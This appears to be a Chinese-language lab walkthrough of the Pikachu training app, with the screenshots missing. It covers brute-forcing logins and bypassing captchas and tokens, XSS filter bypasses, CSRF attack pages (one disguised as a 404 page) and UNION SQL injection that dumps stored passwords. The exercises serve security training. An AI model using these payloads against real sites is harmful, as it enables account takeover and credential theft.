pikachu


暴力破解

基于表单的暴力破解

1.png

验证码绕过(on server)

  1. 抓包

    2.png

  2. 修改账号密码,不修改验证码

    3.png

    提示账号或密码错误,未提示验证码错误

  3. 修改验证码

    4.png

    说明验证码无条件不刷新,无条件不刷新是指在某一时间段内,无论登录失败多少次,只要不刷新页面,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解

  4. 对账号密码进行暴力破解

    5.png

验证码绕过(on client)

  1. 尝试登录

    6.png

    此时抓包无法获取请求包,说明验证码在客户端验证,验证成功之后才向服务器发起请求

  2. 抓包

    输入正确的验证码进行抓包

    7.png

    虽然请求包中包含验证码字段,但并不在服务器进行验证,对账号密码进行暴力破解即可

  3. 暴力破解

    8.png

token防爆破

  1. 抓包

    发现请求包中出现token字段

    9.png

  2. 发起请求,查看响应包

    10.png

    发现响应包中存在一个token字段,此token为下一次请求所使用的token

  3. 将请求包中的token改为下一次所用的token

    对其进行暴力破解

    11.png

  4. 对密码的破解使用普通列表

    12.png

  5. token的字典需从响应包中获取

    1. 设置请求的线程数为1

      13.png

    2. 设置Grep-Extract

      14.png

    3. 获取token值,并且复制当前响应包的token

      15.png

    4. 设置第二个字典,粘贴上一步复制的token

      16.png

  6. 开始破解

    17.png


XSS

反射型XSS(get)

  1. 尝试输入代码

    18.png

    发现输入框限制了输入字符限制

  2. 可通过修改html代码来去除限制

    19.png

    20.png

  3. 可直接修改url中的参数绕过限制

    21.png

    22.png

反射型XSS(post)

先进行登录,登录后可进行XSS攻击

23.png

存储型XSS

24.png

DOM型XSS

  1. 尝试进行攻击,失败

    25.png

    26.png

  2. 查看网页元素

    27.png

    可发现注入语句被填充在a标签中,成为链接

  3. 根据规则进行标签的闭合,使用a标签的单击事件

    28.png

    29.png

DOM型XSS-x

  1. 尝试攻击,出现两层链接

    30.png

  2. 查看页面元素,同样被包含在标签中

    31.png

  3. 将标签进行闭合,触发攻击,' onclick="alert('xss')">

    32.png

    33.png

XSS盲打

盲打只是一种惯称的说法,就是不知道后台有没有xss存在的情况下,不顾一切的输入xss代码在所有的输入框中,尽可能多的尝试xss语句。

xss盲打是指在攻击者对数据提交后展现的结果未知的情况下,网站采用了攻击者插入了带真实攻击功能的xss攻击代码(通常是使用script标签引入远程的js)的数据。当后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的真实攻击功能

  1. 在所有的输入框中输入xss代码

    34.png

  2. 登录后台

    35.png

  3. 触发攻击

    36.png

XSS之过滤

  1. 输入攻击语句

    37.png

    发现注入语句被过滤

  2. 采用大小写方式进行绕过

    38.png

    39.png

XSS之htmlspecialchars

PHP htmlspecialchars()函数把预定义的字符转换为 HTML 实体

&(和)成为&

"(双引号)成为"

'(单引号)成为'

<(小于)成为&lt;

>(大于)成为&gt;

  1. 尝试输入特殊字符

    40.png

    发现过滤了">

  2. 可以在攻击语句中避免使用过滤字符,' onclick='alert(/xss/)'

    41.png

XSS之href输出

  1. 输入攻击语句

    42.png

    发现攻击语句被填充到herf属性中

  2. 可以使用js语句来进行执行,javascript:alert(/xss/)

    43.png

XSS之js输出

  1. 尝试输入攻击语句,无任何返回

  2. 尝试输入任意语句,得到返回

    44.png

    发现所输入的语句被放到代码中进行判断

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <script>
    $ms='1111';
    if($ms.length != 0){
    if($ms == 'tmac'){
    $('#fromjs').text('tmac确实厉害,看那小眼神..')
    }else {
    //alert($ms);
    $('#fromjs').text('无论如何不要放弃心中所爱..')
    }
    }
    </script>
  3. 根据规则进行代码闭合,'</script><script>alert(/xss/)</script>

    45.png

    46.png

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <script>
    $ms=''</script><script>alert(/xss/)</script>';
    if($ms.length != 0){
    if($ms == 'tmac'){
    $('#fromjs').text('tmac确实厉害,看那小眼神..')
    }else {
    //alert('</script><script>alert(/xss/)</script>);
    $('#fromjs').text('无论如何不要放弃心中所爱..')
    }
    }
    </script>

CSRF

CSRF(get)

  1. 首先登录一个账号

    47.png

  2. 修改个人信息,并抓包

    发现页面采取get的方式进行参数传递

    48.png

  3. 构造恶意链接

    http://10.211.55.3/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=123123123&add=qwe1&email=123%40163.com&submit=submit

  4. 在某一用户登录的情况下,诱使其访问恶意链接,可导致其遭受CSRF攻击

    49.png

  5. 也可构造恶意页面,增强伪装

    1
    2
    3
    4
    5
    6
    7
       <html>
    <body>
    <img src="http://10.211.55.3/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=123123123&add=qwe1&email=123%40163.com&submit=submit" border="0" style="display:none;"/>
    <h1>error</h1>
    <h2>404</h2>
    </body>
    </html>
  6. 诱使登录用户进行访问

    52.png

    53.png

CSRF(post)

  1. 登录用户,修改个人信息,抓包

    发现参数采用post的方式进行传递

    50.png

  2. 构造恶意页面,发起恶意请求

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
       <html>
    <head>
    <script>
    window.onload = function() {
    document.getElementById("postsubmit").click();
    }
    </script>
    </head>
    <body>
    <form method="post" action="http://10.211.55.3/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="body" />
    <input id="phonenum" type="text" name="phonenum" value="123456789" />
    <input id="add" type="text" name="add" value="usa" />
    <input id="email" type="text" name="email" value="vince@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
    </form>
    </body>
    </html>
  3. 在某一用户登录的情况下,诱使其访问恶意页面,造成CSRF攻击

    51.png

CSRF(token)

登录用户,修改个人信息,抓包,发现在请求中包含随机的token

54.png

无法利用


SQL注入

数字型注入(post)

  1. 抓包

    55.png

  2. 判断是否存在注入

    1. 输入单引号

      56.png

    2. 输入1 and 1=1

      57.png

    3. 输入1 and 1=2

      58.png

  3. 判断查询语句的字段数

    59.png

    60.png

    61.png

    说明只有两个字段

  4. 获取数据库名

    62.png

  5. 获取表名

    information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式

    其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如:数据库名,数据库的表,列的数据类型与访问权限等

    information_schema数据库的table表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个数据库,表类型,表引擎,创建时间等信息

    1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'

    63.png

  6. 获取数据库中users表中的列

    information_schema数据库的columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息

    1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

    64.png

  7. 获取数据记录

    1 union select group_concat(id,username),group_concat(password) from users

    65.png

---------------The End---------------
0%